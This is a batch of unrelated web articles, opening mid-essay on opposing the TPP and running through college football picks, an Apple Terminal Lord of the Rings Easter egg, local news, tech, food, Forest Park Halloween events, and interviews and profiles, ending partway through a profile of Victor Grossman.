structure in which corporations are the citizens and globalized states are the local administrative structures that enforce corporate dictates and maintain order. This is a world without popular sovereignty and without democracy. It is a world ruled by an insulated technocratic elite serving the interests of global capital.  What are progressives to do in the face of all of this? Those with a cosmopolitan consciousness may dream of a future democratic global governance structure. But that is a long-term project, and we are faced with a more immediate prospect of the consolidation of a very undemocratic global governance structure serving the interests of transnational corporations under a neoliberal regime that will roll back all of the hard-won progressive gains of the last century. Our immediate task is then to block this corporate end-run around domestic policy making processes.  Who can do this? In the United States, working class consciousness is very low, and unions are weak. The left is also weak. Nevertheless, there is a growing anticapitalist, or at least anticorporate, sentiment in the popular classes. Rather expansively, Occupy Wall Street called this the 99%. The challenge Occupy presented to itself was to mobilize a broad multiclass popular movement against the plutocracy. I view this as a call for a social movement based on shared national interests that have been betrayed by transnational capital and the political elite beholden to it.  In the final chapter of Recreating Democracy in a Globalized State, I argue that in a polyarchic political system like the United States’, it takes social movements to bend the political elite away from its corporate-friendly agenda. With sufficient street heat, to maintain governability, it will need to adopt in some measure the form of justice demanded by the popular classes. This is our democratic moment.  We can defeat TPP. Polls show an overwhelming opposition to free trade.* In fact, across the political spectrum, from the left, to the Tea Party, and the John Birch Society on the Right and everywhere in between, the one thing there is agreement on in the current highly polarized political climate is opposition to free-trade treaties. That, combined with the partisan gridlock in Washington, tells me we can win this one.  This may be our last best chance to stop the consolidation of the corporate global governance structure. It makes crystal clear the contradiction between the national interest, i.e. the interest of the people of the nation, and the interest of global capital. There is no longer the convergence between the interests of capital and those of the popular classes that there was in the era of national capital. The divergence of interests that globalization has brought us enables us to build a broad social movement based on shared national interests, drawing on a national identity that can be a powerful motivator of collective action. We should follow Mao Zedong’s strategic principle: Unite the many to defeat the few.  As I said at the beginning, capitalism has needed a guiding hand from the state to protect it from its own self-destructive tendencies. And it has been popular struggles that have often compelled the state in that direction. But now that capitalism has become a global system, there is no state able to do that. In fact, the global governance structure being constructed by transnational capital is dedicated to the very neoliberal ideology that now threatens to be its nemesis. If we can stop that, not only can we save ourselves and the possibility for democratic politics, as ironic as it may be, we might even save capitalism from itself.  * A major NBC News-Wall Street Journal poll from September of 2010 revealed that “the impact of trade and outsourcing is one of the only issues on which Americans of different classes, occupations and political persuasions agree, with 86 percent saying that outsourcing jobs by US companies to poor countries was “a top cause of our economic woes,” and 69 percent thinking that “free-trade agreements between the United States and other countries cost the United States jobs.” Only 17 percent of Americans in 2010 felt that “free-trade agreements” benefit the United States – compared to 28 percent in 2007.
-Photo via Ty Russell / SoonerSports.com  It’s never too early to think about the winners of the Power Five conferences in College Football. In addition, the American Athletic Conference is turning some heads as a potentially powerful conference for next season. This year will prove to be an exciting year, as several of the potential winners aren’t last year’s champions.  As such, it should prove to be an exciting year, as several of the last season’s winners are not expected to repeat.  ACC: Florida State  Usually, the ACC is one of the toughest conferences to predict, but it often ends with the Clemson Tigers or Florida State Seminoles representing the Atlantic Division.  This year, however, Clemson will downgrade significantly at the quarterback position. With no clear replacement for quarterback Deshaun Watson, they won’t pose any threat offensive threat to the Seminoles.  Quarterback Deondre Francois has developed significantly since starting on the team, and with the top-rated running back recruit in the nation Cam Akers and a crop of new receivers, the FSU offense will have the strength to take down any ACC team.  SEC: Alabama  The Crimson Tide return this year stronger than ever. With an outstanding recruiting class and developing quarterback Jalen Hurts, the Tide have already proved they’re national championship material.  Alabama returns most of its defensive prowess as well, and the only teams in the SEC that even stand a chance against them are LSU, Georgia, and Florida.  Big Ten: Ohio State  The Big Ten, maybe the most competitive conference in the country, will end with Ohio State taking the crown narrowly with Penn State, Wisconsin, and Michigan all close behind.  That being said, the Buckeyes will be one of the best teams in all of college football. They put together one of the best defenses in the country and return Heisman-hopeful quarterback J.T. Barrett.  PAC-12: USC  USC, a college football playoff favorite, is the heavy favorite in the PAC-12.  Quarterback Sam Darnold is one of the biggest reasons for the team’s success after throwing for 3,086 yards and 31 touchdowns last season while not starting until the team’s fourth game.  In addition to Heisman-contender Darnold, USC has the extremely talented five-star running back Stephen Carr to add a new dimension to the Trojan offense.  USC’s main competition, Washington, will have a tough time catching the Trojans as the Huskies have a much tougher schedule and has to play Colorado, Washington State, Oregon, Stanford, and Utah.  BIG-12: Oklahoma  Oklahoma Sooners quarterback Baker Mayfield will once again have an outstanding season with their new and skilled recruiting class. As such, they’ll take the BIG-12 throne once again.  One thing to cause them worry—and one thing that will probably be a barrier between them and anything beyond the conference title—is the fact that Bob Stoops retired last week.  Oklahoma’s only real threat is offense-heavy Oklahoma State, and at the end of the day, the Sooners should have an easy time getting past their contender in the conference championship game.  American: University of South Florida  The AAC has been one of the most exciting conferences to follow for the last few seasons. With breakout teams such as Houston, Navy, and Temple, the AAC is a surprisingly stacked conference.  Temple will lose 16 of its starters and is projected to fall behind in USF’s division, leaving the Bulls an open trip to the conference championship.  Houston, Navy, and Tulsa will all battle for the AAC West title, with no clear favorite.  Quarterback Quinton Flowers has been gaining national attention for the last year or so as one of the best dual-threat quarterbacks in the country. Flowers chalked up 2,812 passing yards and 1,530 rushing yards during his junior season.  Under head coach Charlie Strong, the Bulls will continue to improve. Their roster remains strong from last year and they should find no serious conflict in their schedule besides games against Houston and Tulsa.  Nicholai Babis is a sophomore International Studies major at Vassar College. He specializes in College Football. He is a lifelong Seminoles fan, as well as a Rays fan and a Tampa Bay Bucs fan. He grew up in Tampa, Florida. He is a co-owner of the JR report and works for Athletics at Vassar College. He is the college football contributor at the JR Report. Follow Nicholai on twitter @nibabis . Hit him up if you want to discuss CFB, NFL, golf, tennis, and more.  Advertisements  Like this: Like Loading...
-Apple loves to hide little surprises, or “easter eggs,” within its software — such as the memorable quotes inside its OS X icons, or the temporary date (Jan 24, 1984 — when the first Macintosh was unveiled) given to apps downloaded from the Mac App Store. A new one has been discovered that’s sure to please Lord of the Rings fans.  Typing a simple comment into Terminal reveals a Lord of the Rings timeline that Apple has hidden in OS X. Here’s how to access it.  Open up the Terminal app on your mac, and enter:  cat /usr/share/calendar/calendar.lotr  There’s nothing funny about this command — it won’t change anything, and your Mac won’t explode on your desk. It’s just a bit of fun. Once you have hit return, you’ll be presented with a Lord of the Rings timeline.  We hate to provide spoilers for those who want to try this out themselves, but for those on Windows, we’ve pasted the timeline below:  #ifndef _calendar_lotr_  #define _calendar_lotr_ 01/05 Fellowship enters Moria  01/09 Fellowship reaches Lorien  01/17 Passing of Gandalf  02/07 Fellowship leaves Lorien  02/17 Death of Boromir  02/20 Meriadoc & Pippin meet Treebeard  02/22 Passing of King Ellesar  02/24 Ents destroy Isengard  02/26 Aragorn takes the Paths of the Dead  03/05 Frodo & Samwise encounter Shelob  03/08 Deaths of Denethor & Theoden  03/18 Destruction of the Ring  03/29 Flowering of the Mallorn  04/04 Gandalf visits Bilbo  04/17 An unexpected party  04/23 Crowning of King Ellesar  05/19 Arwen leaves Lorian to wed King Ellesar  06/11 Sauron attacks Osgiliath  06/13 Bilbo returns to Bag End  06/23 Wedding of Ellesar & Arwen  07/04 Gandalf imprisoned by Saruman  07/24 The ring comes to Bilbo  07/26 Bilbo rescued from Wargs by Eagles  08/03 Funeral of King Theoden  08/29 Saruman enters the Shire  09/10 Gandalf escapes from Orthanc  09/14 Frodo & Bilbo’s birthday  09/15 Black riders enter the Shire  09/18 Frodo and company rescued by Bombadil  09/28 Frodo wounded at Weathertop  10/05 Frodo crosses bridge of Mitheithel  10/16 Boromir reaches Rivendell  10/17 Council of Elrond  10/25 End of War of the Ring  11/16 Bilbo reaches the Lonely Mountain  12/05 Death of Smaug  12/16 Fellowship begins Quest #endif /* !_calendar_lotr_ */  Awesome, isn’t it?  Via: The Mac Observer
-The FBI continues to investigate.  Two Tom Brady jerseys swiped from the New England Patriots locker room following past Super Bowl victories have been recovered, the NFL announced Monday morning.  The FBI, league security and other authorities had initially been investigating the theft of Brady's jersey from this year's Super Bowl, in which the Patriots beat the Atlanta Falcons. Through their efforts, another one of Brady's stolen jerseys from an additional Super Bowl victory was located.  Both items were allegedly in the possession of an international media member, the NFL said in a statement.  "Through the cooperation of the NFL and New England Patriots' security teams, the FBI and other law enforcement authorities, the Super Bowl LI jersey worn last month by MVP Tom Brady has been recovered," the NFL said in its statement. "Also retrieved during the ongoing investigation was the jersey Brady wore in the Patriots' victory in Super Bowl XLIX against the Seattle Seahawks in 2015."  According to ESPN, the jerseys were found in Mexico and easily valued in the six-figure range.  "Due to the ongoing investigation, we would refer any additional questions to the FBI," according to the NFL.
-The community of New Ground in Summerfield, Clarendon erupted into laughter and shock recently when buckets of faeces were thrown on a man from the district.  A resident told THE WEEKEND STAR the man was attending a nine-night in the community when he was ambushed by his estranged wife.  The resident said the wife, who has been separated from the man for over a year, hid in the dark as he approached the wake.  After emerging, it is reported that she then threw the content from a bucket on the surprised man. The contents of the bucket were faeces and urine.  Another resident said the man who walks with a limp, was trying to hop away but another bucket of filth was thrown on him before the woman fled.  The drama did not end there, however, as it is reported that she ran straight to the man's house and threw away his water that was outside, rendering him unable to wash himself off.  woman's house  Residents said the wife was angered after seeing her estranged husband in his underpants at another female's house. According to a resident, the other woman had been a source of conflict before they separated.  The woman reportedly told community members that she started "saving" the buckets with faeces and urine shortly after seeing her husband at the woman's house.  Police were reportedly called to the scene shortly after the incident because the man had threatened to burn his wife's house down.  Laughter rang out when the police refused to allow the man to drive in their car to show them his wife's house. They asked him to direct him to the house by walking in front of the police vehicle.  The Chapelton police has confirmed the incident but did not reveal if the woman has been charged.
-Google RAISR Keeps Your Image Sharp And Saves Your Bandwidth  Close  We typically look at a high-resolution image and associate that with a high bandwidth which we then worry because we already know that it will inevitably suffer from a sluggish loading speed. Let's not forget the data costs that you have to pay.  Google has looked into that particular consumer concern and churned out a new method of image processing. In November 2016, the tech giant showcased what is known as RAISR which is short for Rapid and Accurate Image Super Resolution. This smart tech can predict how a low-resolution photo can be magnified by filling in the gaps between pixels. The result is a photo in high definition that essentially used up a tiny portion of data usage.  RAISR works by using machine learning and train on pairs of low res and hi res images to look for filters that can recreate details that are close in quality to the original. The filters are trained for about an hour according to small patches of images. Previous known methods like Upsampling produce a large image with more pixels and higher image quality from a low-quality image. The methods are fast but is thought to be ineffective in bringing out vivid details.  So far, the new tech has been tested and improved on Google+. According to a blog post from John Nack, the Product Manager for Google+, RAISR is now processing more than a billion photos a week, even with its limited release. Apparently, Google was able to use up to 75 per cent less bandwidth per large image displayed on Google's native social media platform. It should be in no time when RAISR will be found in most Google services and devices.  "In the coming weeks we plan to roll this technology out more broadly," said Nack. "-and we're excited to see what further time and data savings we can offer."  TAG google, raisr, google  Sign Up for the ITECHPOST Newsletter Get the Most Popular iTechPost Stories in a Weekly Newsletter  © 2019 ITECHPOST, All rights reserved. Do not reproduce without permission.
-There’s no denying that we live in a golden age of personal vaporizers and mechanical mods. The market is full of devices of every kind of size, shape and function. We’ve come a long way from the simple e-cigarette just a few short years ago.  In no small part, we can thank the incredibly creative small businesses and individuals who have raised the bar with innovative designs. However, the massive availability and affordable prices can be traced to overseas manufacturers shamelessly copying these devices and selling them at a fraction of the price of the genuine article.  Along with this choice on the market comes one of the great schisms in the vaping community. There seems to be camps who believe that the so-called clones are harming the innovators in the industry. The other camp tends to believe that makers of the high-end devices charge too much for their products. The most commonly duplicated devices are mechanical mods. All mechanical mods essentially are a method to connect a battery as directly to an RBA as possible. So why should a dead simple device cost so much?  To be perfectly honest, I can see both sides of the argument. I also think many people on one side of the fence or the other tend to over simplify the situation. There’s a lot of moving parts there that are often overlooked in some of the heated arguments.  Obviously, I have, in the past reviewed clone devices. Many of which are flat-out copies of originals all the way down to logos and certificates of authenticity. I’m personally bugged by versions that ape the logo and include a fake serial number. That’s quite honestly uncalled for.  I do, however, think that there is a place in the community for a discussion, and I don’t believe simply refusing to review them would solve anything. It’s a personal choice. I get why some folks choose to not give press to these devices. I’ve honestly struggled with the question personally myself.  Some folks have even gone so far to tell me that they would stop paying visits to this site if I continued to cover these devices. I completely respect that. I’ve made my choices, they’ve made theirs. I of course regret I couldn’t do something that would make everyone happy, but you rarely can. I don’t think any less of anyone who makes a stand for his or her beliefs.  [Tweet “There’s a lot of moving parts there that are often overlooked in some of the heated arguments.”]  I’ve stated my views on the clones several times in some of the reviews I’ve done previously, so I don’t intend to make this post a rehash of such things.  No, what I’m interested in hearing is what you think about this whole topic. Specifically, you as readers of this site. I’ve seen all the arguments and fights in the forums, so I’m not interested in starting any of those. I want to know what you as readers think on the topic.  The comment system below is awaiting your response. Pick your favorite platform and let your feelings be known!
-I once had a long and involved argument with a friend about whether there was any difference between sorbet and sherbet. We couldn't even agree on whether there was a difference in the pronunciation of the words let alone whether they were used to reference two different desserts or the same one. I would like to say that I was the one who knew that there was a difference between sorbet and sherbet and that I won the argument, but when we delved into personal research to come up with our answer, we discovered that she was right. There was a difference between sorbet and sherbet. At least we had a lot of fun going around buying different sorbet / sherbet combinations trying to come up with the answer!  Of course, it makes sense that she would know the subtle difference between the two. She's far more health-conscious than I am now and definitely more health-conscious than I was at the time. So she knew that although both sorbet and sherbet are considered an ice-cream-like treat, they are not as similar as some of us might think. The main difference is that sorbet is a fruit-based dessert and sherbet is more dairy-based, which is a significant difference for people who are leaning towards fruit sugars or leaning away from dairy.  People who prefer sorbet are those people who want the fruit-based dessert. Sorbet uses fruit juice as its main liquid base. It doesn't have any sort of dairy in it, so it's preferred by people who are either allergic to dairy or opting not to eat dairy for health or other reasons. However, since sorbet doesn't have dairy products in it, it also doesn't have the texture of ice cream that people may be looking for when they go to buy this type of dessert. Those people who prefer sorbet because of the taste tend to like fruitier, tarter flavors and a texture that is more icy than creamy.  In contrast, those people who really want ice cream but who are opting for something else because they want to cut back on the "bad for you" foods will probably be people who lean towards sherbet. Sherbet has a milk base (and it may also contain eggs) which gives it the creamy consistency of ice cream. People who like less intense fruit flavors may prefer fruity sherbet to fruit sorbet. And those who like the texture of their ice cream will definitely want to go with a sherbet.  Whether you opt to go for a sherbet or a sorbet depends a lot on why you aren't just eating plain old ice cream. Maybe ice cream is too rich for your taste so you want something less creamy. Either will do but the sorbet will be the one you'll probably prefer. That's also the one you're probably going to want if you're looking to cut down on the fats on your diet. However, if it's sugars that you're trying to cut out, you might want sherbet. The best thing to do is probably to do what my friend and I did - eat as many different sorbet and sherbet types and flavors that you can and find the one that's right for you!
-An original play, adapted from pieces in the book and with original music by Forest Park's History Singers will take place at the Park District of Forest Park's building on Saturday, Oct. 26. Performances will take place at 2 p.m. and 7 p.m. Tickets can be purchased at Centuries and Sleuths Bookstore or by calling the store at (708) 771-7243, through the Historical Society of Forest Park at (708) 232-3747 or on Eventbrite.com. Tickets are $8 for Historical Society Members and $10 for non-members in advance and $15 at the door. Copies of the book will be available at the event and at Centuries and Sleuths.  The event may be a fundraiser, but in the eyes of Aleksy, it's so much more. "This event is meant to raise money for the historical society, but there's no reason you can't have fun while doing so."  Participating writers include Jay Bonansinga, a New York Times best-selling author, Chicago-area novelists Michael Black, Frances McNamara and Stephanie Keuhmert and local historians Robert Loerzel and Richard Lindberg. Emily Victorson edited the book for Allium Press, and Amy Binns-Calvey, founding member of The Noble Fool Theater Company, pulled together the dramatic performance.  Aleksy used his extensive contact list from the book store to reach out to local writers and was bowled over by the response. "I'm just so impressed with the people who agreed to work on this. It is a regional, literary work of art. I organized it, but everyone else brought it to life. It's a perfect combination of history and literature."  Aleksy found local authors to contribute soliloquies based on the lives of those interred in Forest Park's cemeteries, and gathered the soliloquies into a book. The roughly thirty tales are told in the first person, but are meant to be historical in nature. From the parents of Ernest Hemingway to Elizabeth Taylor's husband Mike Todd to victims of the Eastland disaster and Iroquois Theater fire, the tales range from funny to poignant. According to Aleksy, "it's a good cross cut of society in the Midwest."  "During the Forest Park centennial, I volunteered to man the Historical Society booth, and while I was there, I was advised about all the cemeteries in Forest Park: how many there are, the differences and the people buried there. It was an enlightenment. I thought of the Spoon River Anthology, and thought it would be great to do with factual people."  When it comes to local historical society fundraisers, there are small-scale events and large-scale events. Forest Park Historical Society President Augie Aleksy thinks big. The owner of Forest Park's Centuries and Sleuths Bookstore, Aleksy has long been captivated by Edgar Lee Master's 1915 Spoon River Anthology. Inspired by the work and the wealth of stories from local cemeteries, he undertook an effort to create both an anthology and a performance work based on actual stories of people buried in Forest Park.  By Lacey Sikora  For most of us, Halloween is time for the living. Holiday parades, trick-or-treating and kids in costumes dot the western suburbs in October.  This year, Forest Park is capitalizing on its claim to fame: celebrating the non-living residents within its village boundaries. With five major graveyards in the village, Forest Park has long recognized that dead inhabitants outnumber the living thirty to one. In the spirit of paying homage to this statistic, the Forest Park Chamber of Commerce and Development and the historical societies of both Oak Park and River Forest and Forest Park have planned three October events which aim to let the living celebrate the dead in ways that are both fun and educational.  Tales of the Tombstones cemetery walk  On Oct. 20, the Oak Park River Forest Historical Society will present its 22nd annual Tale of the Tombstones Cemetery Walk. The walk will give visitors a chance to take guided tours of the Forest Home and German Waldheim Cemeteries in Forest Park. As in years past, costumed presenters bring to life former area inhabitants. This year, the tour's theme is "Survivor!" Instead of focusing on interesting deaths, as has been done in past years, the focus is on those who lived to tell the tale of harrowing experiences.  Past-president of the Historical Society and tour coordinator Laurel McMahon thinks the twist will offer a different perspective to participants. "This year is a much different take on the stories we usually tell. We often focus on famous residents and how they died. This year, we will cover people who have survived peril. From watery and fiery deaths, to someone sentenced to death who won an eleventh hour reprieve, to someone who was presumed dead but actually alive, we have some interesting stories to share."  This year's tour will include 6 ½ stops for presentations. McMahon notes that the half-stop is really two visitors to the tour that will honor local anniversaries. "This year is the 100th anniversary of women's suffrage in Illinois, and many Oak Park women were instrumental in getting women the vote. It's also the 100th anniversary of what is now the Oak Park Day Nursery, so we will hear about these historical moments as well."  The award-winning event is a major fundraiser for the Historical Society, and McMahon notes that it gets better every year. "Our presenters are Historical Society volunteers. Some are professional actors and some are just very passionate about our history. They give high quality performances. This is the 22nd year we've been doing this tour, and as time goes on, people have become more professional in their roles."  McMahon says this is more than just a cemetery walk. "It's a fun tour. Not only are the presentations interesting, but our tour guides take you all around the cemetery and give you all kind of information. We want to move you to tears and laughter, but we hope you'll take away more than just the presentations. We hope you'll take away an understanding of just what a treasure the Forest Home Cemetery is."  Tickets are $15 or $10 for Historical Society Members and can be purchased at the Historical Society's website: www.oprfhistory.org . The walk takes place on Sunday Oct. 20, with a rain date of October 27th. The tour begins at 1 p.m and runs until 4 p.m.  Forest Park's 2nd Annual Casket Race  The Forest Park Chamber of Commerce and Development is not just a bunch of business people who get excited talking about taxes and revenues. In fact, executive director Laurie Kokenes thinks this group is as far from fuddy-duddy as you can get, and she's come up with the perfect Halloween activity to prove it. Inspired by an Emma Crawford coffin race she saw in Colorado years ago, Kokenes brought the idea of coffin racing to the western suburbs.  "When I saw it in Colorado, I thought: 'this is so Forest Park.' People like to different things and fun things here. People have good senses of humor, and with our history of having more dead people than alive in the village, I thought it'd be a great event."  The first Casket Race took place last year on the Chamber's 100th anniversary, and the success made doing it again a no-brainer. Locals, as well as local businesses, clamored to form groups of four, plus a steer-person, who would not only create their own artful casket but also race at breakneck speed down Beloit Avenue, competing for highly sought-after prizes.  Kokenes notes that last year's trophies, created by American Family Insurance's Liz Axtell, caused quite a frenzy among competitors. "Last year, we had prizes for the creepiest, coolest, funniest and fastest caskets. We had to have a coolest winner for Rick Schauer and Nadeau's Ice Sculpture who created their team's casket from ice. One team, Teachers of the Titanic, knew they weren't in the running for fastest, so they went as slow as possible to get their hands on a trophy."  The plan is to differ the trophies every year, and Kokenes hopes this year's tombstone trophies will inspire the sixteen teams registered. For safety reasons, team members must be at least 18 years old, and just in case, the end of the course is lined in hay bales to slow down any casket that picks up a little too much speed. Residents of Beloit get into the action, decorating their houses, and music and food after the event will keep the spirit alive.  The event will take place on Saturday, Oct. 26th at 9 a.m., starting at the intersection of Beloit and Madison.
-Success is a difficult thing to grab hold of. It’s often ill-defined. In my short career I’ve attempted to define success for myself. Though I speak from the point of view of a product manager, I find that this journey to define success is applicable across a wide range of experiences.  Success means building my product  As a product manager, it’s my job to lead a team to build great product. I have my vision of what needs to be built, with some input from my company’s leadership and other stakeholders, and I will win if I can execute that vision.  When I first started, I imagined that my value was derived by the degree to which I could make my mark on a product. Unfortunately, the right product is often not the one I set out to build. I’m fascinated by the degree to which my initial hunch is proven incorrect. It’s come to make more sense to me though, what are the odds that the one idea I picked out of the ether would just happen to be the perfect solution?  I slowly realized that this definition was flawed due to its foundation in ego. Such a definition of success can easily come about in big, bureaucratic organization that funds projects, rather than solutions to problems. Organizations where politics means not admitting failure is unforgivable, where pivots and “scope creep” constitute failure in the form of having to admit that your initial set of product requirements was not perfect.  It was in these settings that I found myself evidence that my product was not going to be successful in its imagined final form, but was unable to change course due to a misinformed dedication towards executing on a stated vision. I realized I needed a new definition that was not inherently tied to a single product vision. or ego.  Success means solving problems  My loyalty is to solutions. I will find a problem that needs solving and build what needs to be built to most efficiently and effectively solve that problem. I’m going to help my team understand that we have a common goal, and encourage them to suggest ways that we can build product to achieve that goal. By doing this, I can put my team in a place where we are iteratively creating a vision for a product that best solves said problem.  Important to success is measurability. Numbers can lie, but not as easily as people can. By defining your success in terms of data, you more closely bind the reality of success or failure to the degree to which you’re actually solving a given problem. Of course the truth can really suck sometimes, so you need to be flexible enough to realize that your product vision needs to be fluid — responsive to an evolving notion of the needs of users.  Of course, the truth only reveals itself to those who seek it out. In order to properly solve a problem, you need to be willing to learn more about it. Reaching out to the people I’m building for — talking to users, is a wonderful way to understand more about how my solution might fill a need, provided that I’m willing to change my opinions based on the feedback that I get. I sometimes find myself feeling scared that such discussions will lead to a realization that my current vision is misguided, but that internal tension is what ultimately fuels great product.  Success means changing the world for the better  As a product manager, it’s my job to change the world, even if only for some small cohort of people out there. Success, therefore, is tightly tied to my ability to accomplish that core goal. Not only that, but I want to selectively solve problems that are real. I want to build solutions that actually make the world a better place. By tying my efforts to motives of altruism, I’ll be able to work harder and build a better product than I could if I were just attempting to make someone money, or if I were building something solely out of my motivation to build something.  This poses an issue for me. There are a lot of companies out there that don’t necessarily focus on their affect on the outside world. Most teams extend their goals only as far as the way that their users use their product, instead of painting a picture of how their vision translates to improved outcomes for real people with real problems. And product success does not necessarily mean that you’re solving a problem worth solving — people were not looking for a new way to waste time and money before Clash of Clans came around and started earning $1B+/year siphoning both away.  There are a lot of people out there who are dedicated to building products and companies that solve problems, but not all of those are changing the world for the better. As things stand, this constitutes my current definition of success.  What’s yours?
-Those voices in your head may be real.  Researchers have developed technology that can project a beam of sound so narrow that only one person can hear it. "Directed" audio sounds like it's coming from right in front of you even when transmitted from a few hundred meters away.  Inventors of the new "ventriloquist" technology say it could provide an added dimension to entertainment. The military, however, is investigating using it to confuse opponents or even inflict pain.  The Audio Spotlight is one of two competing audio transmission systems that emit a one-foot square column of sound that can only be heard by people in its direct path. Joseph Pompei, a PhD student at the MIT Media Lab, decided to develop it while working at audio company Bose, which he joined at 16 as its youngest-ever engineer.  Pompei, who used to play jazz trumpet in nightclubs in Chicago, became interested in how sound systems reproduce and distribute music. He thought it would be cool to "choreograph sound just like you would dancers on stage."  Pompei imagined that instead of loudspeakers blaring the same cacophony of instruments to all parts of the room, it would be more interesting to selectively spotlight the soloist to the left side of the audience, while featuring the percussion up front, and then switching them around.  "Sound in real life is occurring all around you. Regular speakers only go so far in reproducing an accurate environment," Pompei said.  Pompei developed the first demonstration systems of the technology for installations at Sega's Joyopolis theme park in Tokyo and the Boston Museum of Science, and he's planning to start selling it commercially soon. He said museums like the system because visitors who stand in front of an exhibit can hear the appropriate audio track without being distracted by sound from other displays.  The Audio Spotlight transmitters range from several inches in diameter to about 20 inches and generate a column of sound between one to three degrees wider than the transmitter.  The technology could also be used to prevent fights over the car's radio tuner, Pompei said. He put several Audio Spotlights in a concept truck from Chrysler, which enabled passengers to hear their own radio stations – the kids in the back seat enjoyed heavy metal while the parents relaxed to elevator music. "It could make for much happier trips," he said.  The Audio Spotlight converts ordinary audio into high-frequency ultrasonic signals that are outside the range of normal hearing. As these sound waves push out from the source, they interact with air pressure to create audible sounds.  Pompei said the "non-linear" effect of air pressure modifies sound waves in a consistent fashion. He wrote algorithms that "reverse-engineered" the desired sound waves to determine the appropriate ultrasonic source signals.  According to University of Texas professor David Blackstock, high-frequency signals are easier to focus, and control like a flashlight, than sounds that are within the human range of hearing, which disperse in all directions. Blackstock said ultrasonic signals "decay more slowly than lower-frequency waves" so they are easier to send farther.  The Audio Spotlight emits sounds in the 60-kilohertz range, which, according to Blackstock, is well above the 20-KHz limit of human hearing.  Blackstock said the first experiments to use ultrasonic sounds were conducted underwater in the 1960s, and Japanese researchers made advances in the 1980s but were unable to create a commercial application for the technology.  Pompei said Audio Spotlights are currently being installed in Australia for the upcoming Fringe Festival. Pompei started Holosonic Research Labs to sell Audio Spotlights to corporations such as Kraft and Kodak, which are in the process of integrating them into information kiosks and retail displays.  An alternative to Pompei's invention, which also may be commercially available soon, is American Technology's Hypersonic Sound System. The HSS system similarly converts audio into ultrasonic sound waves, and Blackstock was impressed by a demonstration.  Blackstock said he heard a clear signal at about 100 meters, but then heard nothing by moving two steps out of the audio's path. "It's remarkable, a spectacular effect."  American Technology president Terry Conrad said the company is going into its first mass production of chips that convert the audible sounds into ultrasonic waves in February.  American Technology recently signed an agreement with the U.S. Army to develop the technology for a decidedly non-commercial use: psychological warfare.  According to American Technology CTO Jim Croft, the technology could be used to confuse opponents by making them think there was someone nearby. Small transmitters could be kept out of sight, and ghost sounds could be bounced off "rocks or any reflective surface" to fool people into believing they were not alone.  American Technology is also working on a stronger version of the technology called Directed Stick Radiator, Croft said. This "acoustic assault rifle" is shaped like a gun, but instead of bullets, it dispenses high-decibel sounds that would cause discomfort or even pain.  Croft said the company is developing prototypes of the debilitating weapon that could be mounted on a jeep and used for crowd control. "It could be a very effective first-level deterrent," he said.  Pompei, conversely, is happy to make music, not war, with his system. He said U2's Bono is a fan of the Audio Spotlight and recently flew him to Los Angeles to measure the acoustics during a Staples Center performance.  He would prefer that others adopt his invention to returning to the stage himself. "I make a much better scientist than musician."
-When men’s rights activists (or MRAs, as they are known online) held their first conference in Detroit last summer, it was an opportunity for the mainstream media to examine why a group of disenfranchised men are blaming their problems on feminism and not, as writer Jeff Sharlet puts it, “late-stage American capitalism.” Sharlet wrote about the conference in a March 2015 GQ article titled, “Are You Man Enough For the Men’s Rights Movement?” It’s the latest in a series of articles coming out of the event, from Mariah Blake’s Mother Jones profile of Warren Farrell to BuzzFeed’s look at Paul Elam, the leader of the movement’s most popular website.  If Sharlet — an associate professor of English at Dartmouth, the author and editor of six books (Sweet Heaven When I Die, Radiant Truths), and a frequent contributor to Harper’s, Rolling Stone, and GQ with a must-follow Instagram feed — has a beat, it’s approaching outsiders and outliers with empathy and fairness, never resorting to the easy answer and always finding the human thread. I spoke to him over the phone about covering the men’s rights movement.  Flavorwire: Why did you want to write about MRAs?  Jeff Sharlet: I like conservative groups, partially because they’re always so much more complicated than liberal mainstream media renderings of them. That’s why I like writing about Christian fundamentalist groups. They’re people with complicated ideas. MRAs are the first group I’ve ever covered who are less complicated than the liberal representation of them. You go and you spend time with them and they don’t talk about these issues. There was less there than met the eye. Five thousand words was about right. The temptation is this over-earnest voice, ignoring the wild violence of their rhetoric, or snark — what a bunch of jerks — it’s kind of a hard line to walk.  What’s at the root of their grievances?  Late-stage American capitalism. What’s powerful is that their diagnosis is sort of 90 percent correct, their diagnosis of the sickness that they feel. These guys are right, they are being sidelined, but they’re not being sidelined by women. They fail to see the way late-stage capitalism is reducing everybody.  What do men’s rights activists embrace in pop culture? The sidebar to your piece mentioned Robin Thicke’s “Blurred Lines” and American Beauty.  You can gather that they’re certainly pop-culture obsessed, looking for what they perceive as slights to men in pop culture, often embracing that which gets slighted, like “Blurred Lines.”  I don’t like sidebars, but this one ended up becoming, for a while, one of the best exchanges. I was going back and forth with them about what [they] love. They said To Kill a Mockingbird was their favorite book. The connection is too small to explain in the sidebar: their idea is that “we are all Tom Robinson now,” the falsely accused man. To them, the people misunderstood that To Kill a Mockingbird is about race, when it’s about gender.  That way of talking about “Blurred Lines,” books, and movies, and do you remember that movie Falling Down with Michael Douglas? Online there’s this great enthusiasm for it, one guy calls it “an MRA anthem,” but their leadership is savvy enough to know that “this would make us look bad.”  Then they wanted to mention American Beauty, but American Beauty is no To Kill a Mockingbird. It’s the reactionary grievance of white men who feel their privilege under assault, in this mainstream art house movie — in reality, it’s an interesting thing, because Falling Down is a much better movie. It’s sympathetic to Michael Douglas and it’s not insisting on some transcendent truth to his violence.
-Victor Grossman in his library, with some of the books he published in East Germany. Photo by Uli Kohls. Photos courtesy of Victor Grossman.  Between World War II and the fall of Communism, many fled Soviet-controlled East Germany and headed westward. The stories of these dissidents, defectors and hardworking citizens who were simply looking for a better life have been exhaustively documented. But much less is known about the histories of the few who headed against the tide, from west to east, repulsed by capitalism. Victor Grossman was one such person.  Born Steve Wechsler in New York City in 1928, Victor’s political ideology was shaped by his experiences living in America during the Great Depression and the events of the Spanish Civil War. After earning an economics degree from Harvard, his communist ideals led him to earn a simple living as a factory worker. In 1950, in the beginning stages of the Korean War, Victor was drafted and while stationed in Germany, his left-wing past was uncovered by the military. Fearing a court-martial for his beliefs, he sought refuge in the Soviet bloc, changing his name to Victor Grossman and settling among like-minded comrades in the German Democratic Republic.  For 30 years, Victor thrived in the GDR as a journalist and author. He published numerous books on US history and culture, lectured frequently and hosted a popular radio show that introduced East Germans to the antiestablishment folk songs of Pete Seeger, Woody Guthrie, Phil Ochs and Bob Dylan. Despite his criticisms of the GDR establishment, Victor still felt that he was seeing his ideal – “an antifascist state with economic security for everybody” – transformed into utopian reality. By the late 80s, however, it became apparent that the Soviet system could no longer sustain itself and would soon collapse under its own weight. Victor came to the bleak realisation that he would have to “start over from zero”.  In 1994, 